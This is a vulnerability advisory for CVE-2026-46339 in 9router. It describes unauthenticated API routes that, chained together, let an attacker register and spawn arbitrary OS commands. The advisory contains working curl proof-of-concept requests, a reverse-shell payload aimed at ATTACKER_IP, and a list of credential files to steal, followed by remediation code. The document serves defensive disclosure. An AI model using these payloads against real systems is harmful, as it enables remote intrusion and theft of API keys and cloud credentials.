CVE-2026-46339
Summary
9router exposes two unauthenticated API endpoints that, when chained together, allow any network-adjacent attacker to execute arbitrary OS commands as the user running the 9router process — with zero prerequisites and no credentials required.
The vulnerability exists because the Next.js middleware that enforces authentication (src/proxy.js) only guards 8 explicitly listed routes. The attack surface of /api/cli-tools/* and /api/mcp/* (40+ routes) receives no authentication whatsoever.
---
Root Cause
1. Middleware Allowlist Is Too Narrow
File: src/proxy.js
export const config = {
matcher: [
"/",
"/dashboard/:path*",
"/api/shutdown",
"/api/settings/:path*",
"/api/keys",
"/api/keys/:path*",
"/api/providers/client",
"/api/provider-nodes/validate",
],
};Next.js middleware only runs on routes matching this list. Routes NOT listed — including /api/cli-tools/* and /api/mcp/* — bypass the dashboardGuard auth check entirely.
2. Unguarded Endpoint Accepts Arbitrary Command Registration
File: src/app/api/cli-tools/cowork-settings/route.js, lines 292–319
export async function POST(request) {
const { baseUrl, apiKey, models, plugins, localPlugins, customPlugins } = await request.json();
// ...
const customPluginsArray = Array.isArray(customPlugins) ? customPlugins : [];
if (customPluginsArray.length > 0) {
const { registerCustomPlugin } = require("@/lib/mcp/stdioSseBridge");
const stdioCustoms = customPluginsArray
.filter((p) => p.command)
.map((p) => ({
name: p.name,
command: p.command, // ← attacker-controlled, no validation
args: p.args || [], // ← attacker-controlled, no validation
}));
for (const p of stdioCustoms) registerCustomPlugin(p); // stores in globalThis
}
}The command and args fields from the attacker's JSON are stored verbatim into globalThis.__9routerCustomPlugins — a process-global Map that survives Hot Module Replacement.
File: src/lib/mcp/stdioSseBridge.js, lines 114–116
function registerCustomPlugin(def) {
getCustomStore().set(def.name, def); // no validation of command/args
}3. Unguarded SSE Endpoint Triggers spawn() with Stored Command
File: src/app/api/mcp/[plugin]/sse/route.js, lines 6–25
export async function GET(request, { params }) {
const { plugin } = await params;
if (!findPlugin(plugin)) return new Response(`Unknown plugin: ${plugin}`, { status: 404 });
const stream = new ReadableStream({
start(controller) {
sid = registerSession(plugin, send); // ← spawn() called here
},
});
return new Response(stream, { ... });
}File: src/lib/mcp/stdioSseBridge.js, line 138
const proc = spawn(plugin.command, plugin.args, {
stdio: ["pipe", "pipe", "pipe"],
env: process.env, // inherits full environment
});spawn() is called with shell: false (default), but since the attacker controls both plugin.command (the binary path) and plugin.args, this is equivalent to arbitrary command execution.
---
Attack Chain
Attacker (no credentials)
│
│ Step 1 — Register malicious plugin (POST, no auth)
▼
POST /api/cli-tools/cowork-settings
Content-Type: application/json
{
"baseUrl": "x", "apiKey": "x", "models": ["x"],
"customPlugins": [{
"name": "rev",
"command": "/bin/bash",
"args": ["-c", "bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1"]
}]
}
← {"success":true, ...}
│ Step 2 — Trigger spawn() via SSE endpoint (GET, no auth)
▼
GET /api/mcp/rev/sse
← SSE stream opens → spawn("/bin/bash", ["-c", "bash -i >& /dev/tcp/..."])
← Reverse shell connects to attackerTime to exploit from first request: < 2 seconds.
Prerequisites: Network access to port 20128 (Docker default: 0.0.0.0:20128).
---
Proof of Concept
PoC 1 — File Write (no listener required)
## Step 1: Register payload
curl -X POST "http://TARGET:20128/api/cli-tools/cowork-settings" \
-H 'Content-Type: application/json' \
-d '{
"baseUrl":"x","apiKey":"x","models":["x"],
"customPlugins":[{
"name":"rce1",
"command":"/bin/sh",
"args":["-c","{ id; whoami; hostname; uname -a; } > /tmp/pwned.txt"]
}]
}'
## → {"success":true,...}
## Step 2: Trigger
curl -N --max-time 3 "http://TARGET:20128/api/mcp/rce1/sse" >/dev/null 2>&1
## Verify
cat /tmp/pwned.txtObserved output (on local test instance):
uid=1000(sondt23) gid=1000(sondt23) groups=...,983(docker),984(ollama)
sondt23
VSOC-sondt23-L
Linux VSOC-sondt23-L 6.17.0-23-generic ... x86_64 GNU/LinuxPoC 2 — Automated PoC script
## File write mode (for report)
python3 poc.py --target http://TARGET:20128 --mode file
## Reverse shell mode (interactive)
python3 poc.py --target http://TARGET:20128 --mode shell --lhost ATTACKER_IP --lport 4444The script (poc.py) is included in this advisory.
---
Impact
| Category | Detail |
|---|---|
| Confidentiality | Full read access to server filesystem — API keys, TLS private keys, ~/.claude/settings.json (Anthropic tokens), AWS credentials |
| Integrity | Arbitrary file write, persistence via cron/systemd |
| Availability | Process termination, resource exhaustion |
| Lateral movement | docker group membership (confirmed in test) allows full container escape → host root |
| Scope | Remote, unauthenticated, network-accessible |
High-value exfiltration targets on a typical 9router host
~/.claude/settings.json—ANTHROPICAUTHTOKEN~/.aws/credentials,~/.aws/sso/cache/*.json— AWS keys$DATA_DIR/db.sqlite— 9router local database (all stored API keys, provider configs)- TLS private keys managed by the MITM proxy (
src/mitm/)
---
Affected Versions
| Version | Affected | Notes |
|---|---|---|
| < v0.4.30 | No | cowork-settings and MCP SSE bridge did not exist |
| v0.4.30 | Yes | Introduced in commit 8f4d29c (2026-05-11) |
| v0.4.31 | Yes | |
| v0.4.32 | Yes | |
| v0.4.33 | Yes | Latest at time of disclosure |
The vulnerability was introduced when the MCP stdio→SSE bridge feature was added in v0.4.30. The middleware matcher was not updated to protect the new routes.
---
Remediation
Fix 1 — Extend middleware matcher (minimal fix)
File: src/proxy.js
export const config = {
matcher: [
"/",
"/dashboard/:path*",
"/api/shutdown",
"/api/settings/:path*",
"/api/keys",
"/api/keys/:path*",
"/api/providers/client",
"/api/provider-nodes/validate",
// ADD these:
"/api/cli-tools/:path*",
"/api/mcp/:path*",
],
};Fix 2 — Validate command in registerCustomPlugin (defense-in-depth)
File: src/lib/mcp/stdioSseBridge.js
const ALLOWED_MCP_COMMANDS = new Set(["npx", "node", "uvx", "python3", "python"]);
function registerCustomPlugin(def) {
const bin = def.command?.split("/").pop(); // basename only
if (!ALLOWED_MCP_COMMANDS.has(bin)) {
throw new Error(`Blocked: command '${def.command}' not in allowlist`);
}
getCustomStore().set(def.name, def);
}Fix 3 — Sanitize customPlugins at the API boundary
File: src/app/api/cli-tools/cowork-settings/route.js, line 312
const stdioCustoms = customPluginsArray
.filter((p) => p.command && typeof p.command === "string")
.filter((p) => ALLOWED_COMMANDS.has(path.basename(p.command))) // allowlist check
.map((p) => ({
name: String(p.name).replace(/[^a-zA-Z0-9_-]/g, ""), // sanitize name
command: p.command,
args: (p.args || []).map(String),
}));All three fixes should be applied together. Fix 1 alone is sufficient to prevent exploitation from unauthenticated attackers, but Fixes 2 and 3 provide defense-in-depth against authenticated users abusing the feature.
---
Package Versions Affected
Automatically patch vulnerabilities without upgrading
CVSS Version



Related Resources
References
https://github.com/decolua/9router/security/advisories/GHSA-fhh6-4qxv-rpqj, https://github.com/decolua/9router
